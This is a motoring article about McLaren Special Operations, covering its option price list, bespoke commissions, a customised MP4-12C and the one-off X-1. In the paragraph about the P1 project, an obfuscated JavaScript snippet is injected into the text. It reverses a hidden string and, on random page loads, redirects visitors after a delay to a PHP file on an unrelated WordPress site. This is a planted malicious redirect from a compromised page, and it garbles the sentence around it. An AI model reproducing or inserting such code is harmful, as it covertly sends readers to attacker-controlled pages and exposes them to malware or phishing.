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Every McLaren dealer has a price list of MSO options that’s being grown on a weekly basis, based on customer and dealer feedback, as well as creative ideas from within the department. Think of it as a second tier of options beyond the standard extras that can be ticked. “It might not be popular enough to be a standard option, but something that someone else might like,” Korbach said. “And it works both ways. Diamond cut wheels were originally an MSO option but became so popular that the department, with only 30 people, couldn’t cope with it. So now it’s a standard option. We’re almost a research and development facility in that respect. Say you want to change around the interior standard leathers. We have a fixed price for that. Or you want to add stitching to new areas – there’s a fixed price for that too.”
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The next step of customisation focuses on bespoke projects. “If a customer comes in and has a special colour theme he wants to follow, or wants to slightly change some body panels, maybe has some special leathers that he commissions. We have customers with collections that have identities and they carry the same themes or colours through different manufacturers. So for example he wants his McLaren to match his Ferrari or Lamborghini.”
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An example of this sort of flexibility is the MP4-12C on display in Dubai – a market with plenty of MSO potential. As well as the paint, there are plenty of other MSO touches that make it stand out from the crowd. The bumper has a new carbon insert with splitter, and there’s more carbon on the engine cover and rear spoiler. Inside, the normally bare carbon door sills are now lined with Alcantara, and the centre console is lined with an orange-coloured glass fibre that has the same weave as carbon. The steering wheel and switches are nickel chrome-plated. Special badges on the bonnet and rear end are backed in carbon fibre and based on the McLaren F1 team‘s logo – a feature only available to those that spend a certain amount with MSO. It is, undeniably, pretty fancy.
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The third type of project undertaken by MSO is the one-off, of which the X-1 is the first example. The man in charge of that – and indeed of MSO as a whole – is the same man that’s in charge of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-p1-a-new-dawn/”>the new P1 project, Paul Mackenzie. He talks me through the process of coming up with a complete redesign of the 12C, which involved huge numbers of meetings between the client, MSO and its designers – as well as McLaren’s chief designer Frank Stephenson – and two-and-a-half years of work. The resultant carbon fibre and chromed aluminium-clad work – inspired by classic cars, planes and even an eggplant – was unveiled at Pebble Beach earlier this year to dropped jaws.
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It’s not what you’d expect from McLaren but that, Mackenzie says, is the point. “We realise, from a styling point of view, that it is very divisive. Some people like it, some people don’t like it. But the fact is, the client loves it. It’s his design. And everybody appreciates the quality of the car.”